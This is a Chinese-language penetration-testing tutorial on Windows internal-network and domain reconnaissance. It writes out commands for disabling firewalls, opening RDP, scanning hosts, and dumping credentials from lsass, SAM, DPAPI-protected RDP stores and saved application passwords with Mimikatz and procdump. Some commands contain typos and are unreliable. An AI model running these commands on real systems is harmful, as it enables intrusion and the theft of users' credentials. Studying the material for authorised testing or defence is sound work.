这篇文章介绍内网渗透中的信息收集。
0x01 本机基础信息收集
查看当前用户、权限、域SID
whoami /all
查看网络配置信息
ipconfig /all
查看主机路由信息
route print
查看操作系统信息/补丁列表
systeminfo
查看端口和连接信息
netstat -ano
查看当前进程信息
tasklist
tasklist /svc wmic process list brief
wmic process get Name,ProcessId,ExecutablePath
wmic process where Name=”msedge.exe” get ExecutablePath
查看当前会话列表
net session
查看当前网络共享信息
net share
查看已连接的网络共享
net use
查看服务信息
wmic service get Caption,Name,PathName,StartName,State
查看计划任务信息
schtasks /query /v /fo list
查看主机开机时间
net statistics workstation
查看自启动程序信息
wmic startup get command,caption
wmic startup get Caption,Command,Location,User
查看系统补丁安装信息
wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn
查看系统应用安装信息
wmic product get Caption,Version
查看本地用户/组信息
net user
net user
查看本地管理员组
net localgroup administrators
查看当前登录的用户
query user
query user || qwinsta
防火墙相关
关闭防火墙
(1)、windows server 2003 及之前的版本,命令如下:
netsh firewall set opmode disable
(2)、windows server 2003之后的版本,命令如下:
netsh advfirewall set allprofiles state off
查看防火墙配置
netsh firewall show config
修改防火墙配置
(1)、windows server 2003及之前的版本,允许指定程序全部连接,命令如下:
1 | netsh firewall add allowedprogram c:\nc.exe "allow nc" enable |
(2)、windows server 2003之后的版本,命令如下:
1 | netsh advfirewall firewall add rule name=”My Application” dir=in action=allow program=”c:\nc.exe” enable=yes |
(3)、允许3389端口放行:
1 | netsh advfirewall firewall add rule name=”remote desktop” protocol=TCP dir=in localport=3389 action=allow |
查询并开启远程连接服务(3389端口)
(1)、在windows server 2003中开启3389端口
1 | wmic path win32_terminalservicesetting where (_class !="") call setallowtsconnections 1 |
(2)、在windows server 2008 和windows server 2012中开启 3389端口
1 | 1、wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (_CLASS !="") call setallowtscoonections 1 |
判断是否存在域
(1)、使用ipconfig命令,获取DNS域名后,再使用反向解析查询命令nslookup来解析域名的ip地址,用解析得到的IP地址进行对比,判断域控制器和DNS服务器是否再同一台服务器上
ipconfig /all
【假设获取的dns服务器域名为”hacker.lad”】
nsllokup hacker.lad
(2)、查看系统详细信息,“域”即域名,“登录服务器”为域控制器,如果“域”为“workgroup”。表示当前服务器不在域内。
systeminfo
(3)、查询当前登录域及登录用户信息
“工作站域DNS名称”为域名(如果为“WORKGROUP”,表示当前为非域环境),“登录域”用于表示当前登录的用户是域用户还是本地用户,此处表示当前登录的用户是本地用户。
net config workstation
(4)、判断主域
域服务器通常会同时作为时间服务器使用,我们可以使用以下命令来判断主域
net time /domain
net view /domain
执行以上命令,通常会有以下三种情况:
- 存在域,但当前用户不是域用户;
- 存在域,且当前用户是域用户;
- 当前网络环境为工作组,不存在域。
0x02 域内信息收集
如果确定当前内网拥有域,且所控制的主机在域内,就可以进行域内相关信息的收集了,以下使用到的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时会进行权限认证,只有域用户才拥有此权限,本地用户无法运行以下介绍到的查询命令
1 | 判断是否存在域 |
0x03 域内资源探测
nishang-powerShell攻击框架
https://blog.csdn.net/weixin_40412037/article/details/115510209
发现存活主机
基于ICMP主机探测
使用循环ping命令进行探测
1 | for /L %I in (1,1,254) Do @ping -w 1 -n 1 192.168.1.%I |findstr "TTL=" |
基于NetBIOS(网络基本输入/输出系统)协议主机探测
NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。
1 | nbtscan.exe 192.168.30.1/24 |
基于UDP主机探测
1 | unicornscan -mU 192.168.30.1/24 |
基于ARP主机探测
1 | arp-scan -t 192.168.30.1/24 |
基于smb主机探测
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139和445端口,目前倾向于使用445端口。
1 | 使用msf进行扫描 use scanner/smb/smb_version set rhosts 192.168.30.1/24 set threads 20 run |
端口扫描
利用telnet探测端口
1 | telnet <ip> <port> |
使用nmap进行端口扫描
1 | nmap -p 80,88,135,443,8080,3389 192.168.30.10 nmap -sS -p- 192.168.30.10 |
使用msf进行端口扫描
msf具有很多扫描的payload
1 | 主机存活扫描 |
获取banner信息
使用netcat获取端口的banner
nc -nv 192.168.30.10 445
使用telnet获取banner
telnet 192.168.30.10 445
使用nmap获取banner
1 | nmap --script=banner -p <Ports> <IP> |
0x04 凭证收集
获取域内单机密码和哈希值
在Windows中,SAM文件是Windows用户的账户数据库,位于%SystemRoot\System32\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码被转换成哈希值,然后与SAM文件中的哈希值进行对比,若相同,则认证成功。
lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全啊和登录策略。在通常情况下,用户输入密码登录后,登陆的域名、用户名和登录凭证等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigets和Tspkg模块调用后,会对其使用可逆的算法加密并存储在内存中。
用来获取主机的用户名和哈希值的工具有很多,这些工具大多是通过读取SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多需要管理员的权限,这意味需要配合提权的操作。
Mimikatz是一款功能强大的凭据转储开源程序,可以帮助进行提升进程权限、注入进程、读取进程内存等。
在线读取lsass进程内存
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
离线读取lsass内存文件
除了在线读取,也可以直接将lsass.exe的进程内存转储,讲内存文件导出到本地后,使用mimikatz进行离线读取。
使用Procdump工具把lsass的进程内存dump出来:
1 | procdump -accepteula -ma lsass.exe lsass.dmp |
离线读取
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit |
为了防止用户的明文密码泄露,微软在2014年发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows server 2012及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能,当用户注销或者重新登录后,可以重新获取到用户的明文密码
1 | 开启WDigest |
在线读取本地SAM文件
1 | mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit |
离线读取本地SAM文件
为了提高SAM文件的安全性,Windows会对SAM文件使用密钥加密,这个密钥会存储在SYSTEM文件中,与SAM文件位于相同目录下。因此,需要在目标主机上先导出这两个文件。
1 | mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit |
获取常见应用软件的凭据
RDP
为了避免每次连接服务器都进行身份认证,经常使用RDP的用户可能勾选保存连接凭据,以便进行快速的身份验证。这些凭据都使用数据保护API以加密形式存储在Windows的凭据管理器中,路径为**%USERPROFILE%\AppData\Local\Microsoft\Credentials**
1 | cmdkey /list # 查看当前保存的凭据 |
Credentials目录下保存的凭据是加密的,可以尝试使用Mimikatz导出和解密。
1、首先解析连接凭据
1 | mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D" exit |
解析得到的pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID。
2、找到与guidMasterKey(GUID)相关联的MasterKey,这个Masterkey就是加密凭据所使用的密钥
1 | mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit |
3、使用MasterKey值破解指定凭据文件,获得明文RDP凭据
1 | mimikatz.exe "dpapi::cre /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\00119663E99E6E4709F1F83BEB49A78D/masterkey:xxxxxxxxxxxxxxxxxxxx" exit |
Xshell
Xshell会将服务器连接信息保存在Session目录下的.xsh文件中,如果用户在连接时勾选了“记住用户名/密码”,该文件会保存服务器连接时的用户名和加密后的密码
1 | Xshell 5 |
Xshell7之前版本,可以直接通过SharpDecryptPwd工具进行解密,包括Navicat、TeamViewer、FileZilla、Winscp和Xmangager系列产品。
Xshell7之后的版本可以使用星号查看器直接查看密码
FileXilla
1 | FileXilla将所有FTP登陆凭证以base64编码后的格式存储在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml中,这是一个xml文件,其中的<User>节点是用户名,<Pass>节点是base64后的密码 |
浏览器保存的登录凭证
使用HackBrowserData可以直接从浏览器解密数据,包括用户登录密码、书签、Cookie、历史记录、银行卡、下载链接等。
Lazgne(全平台)
https://github.com/AlessandroZ/LaZagne/releases/tag/v2.4.5
全平台支持,不过免杀基本等于没有,一般没有system权限,抓不到啥东西,windows使用,直接在目标机器运行.exe文件即可。常规用法如下:
Xenarmor(win)
收费工具,功能强大,图形化界面,直接使用即可。